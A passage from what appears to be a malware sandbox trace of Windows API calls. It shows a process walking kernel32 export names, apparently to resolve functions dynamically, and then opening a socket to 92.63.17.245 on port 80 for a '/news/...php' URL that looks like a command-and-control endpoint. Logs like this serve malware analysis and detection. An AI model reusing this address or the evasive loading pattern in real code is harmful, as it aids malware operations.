lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0101.597] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0101.597] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0101.597] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0101.597] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0101.597] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0101.597] lstrlenA (lpString="CREATEJOBSET") returned 12 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0101.597] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0101.597] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0101.597] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0101.597] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0101.597] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0101.597] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0101.597] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0101.597] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0101.597] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0101.598] lstrlenA (lpString="CREATEPIPE") returned 10 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0101.598] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0101.598] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0101.598] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0101.598] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0101.598] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0101.598] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0101.598] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0101.598] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0101.598] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0101.598] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0101.598] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0101.598] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0101.598] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0101.598] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0101.598] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0101.598] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0101.598] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0101.599] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0101.599] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0101.599] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0101.599] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0101.599] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0101.599] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0101.599] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0101.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0101.608] lstrlenA (lpString="CREATETHREAD") returned 12 [0101.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0101.608] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0101.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0101.608] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0101.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0101.609] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0101.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0101.609] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0101.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0101.609] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0101.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0101.609] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0101.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0101.609] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0101.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0101.609] GetTickCount () returned 0x2ef09 [0101.609] GetTickCount () returned 0x2ef09 [0101.609] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0101.610] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.610] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0101.610] wsprintfA (in: param_1=0x3010000, param_2="http://%s%s" | out: param_1="http://92.63.17.245/news/xpiqemkfqm.php") returned 39 [0101.610] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0101.611] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0101.611] VirtualAlloc (lpAddress=0x0, dwSize=0x15, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0101.611] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0101.611] lstrlenA (lpString="kernel32.dll") returned 12 [0101.612] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.612] inet_pton (in: Family=2, pszAddrString="92.63.17.245", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0101.612] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0101.612] socket (af=2, type=1, protocol=6) returned 0x544 [0101.612] inet_addr (cp="92.63.17.245") returned 0xf5113f5c [0101.612] htons (hostshort=0x50) returned 0x5000 [0101.612] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.17.245"), namelen=16) returned 0 [0101.661] lstrlenA (lpString="kernel32.dll") returned 12 [0101.661] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.661] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0101.661] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0101.661] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0101.662] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0101.662] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0101.662] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0101.662] lstrlenA (lpString="ADDATOMA") returned 8 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0101.662] lstrlenA (lpString="ADDATOMW") returned 8 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0101.662] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0101.662] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0101.662] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0101.662] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0101.662] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0101.662] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0101.662] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0101.662] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0101.662] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0101.662] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0101.662] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0101.662] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0101.662] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0101.663] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0101.663] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0101.663] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0101.663] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0101.663] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0101.663] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0101.663] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0101.663] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0101.663] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0101.663] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0101.663] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0101.663] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0101.663] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0101.663] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0101.663] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0101.663] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0101.663] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0101.663] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0101.664] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0101.664] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0101.664] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0101.664] lstrlenA (lpString="BACKUPREAD") returned 10 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0101.664] lstrlenA (lpString="BACKUPSEEK") returned 10 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0101.664] lstrlenA (lpString="BACKUPWRITE") returned 11 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0101.664] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0101.664] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0101.664] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0101.664] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0101.664] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0101.664] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0101.664] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0101.664] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0101.664] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0101.664] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0101.664] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0101.664] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0101.665] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0101.665] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0101.665] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0101.665] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0101.665] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0101.665] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0101.665] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0101.665] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0101.665] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0101.665] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0101.665] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0101.665] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0101.665] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0101.665] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0101.665] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.665] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0101.665] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0101.665] 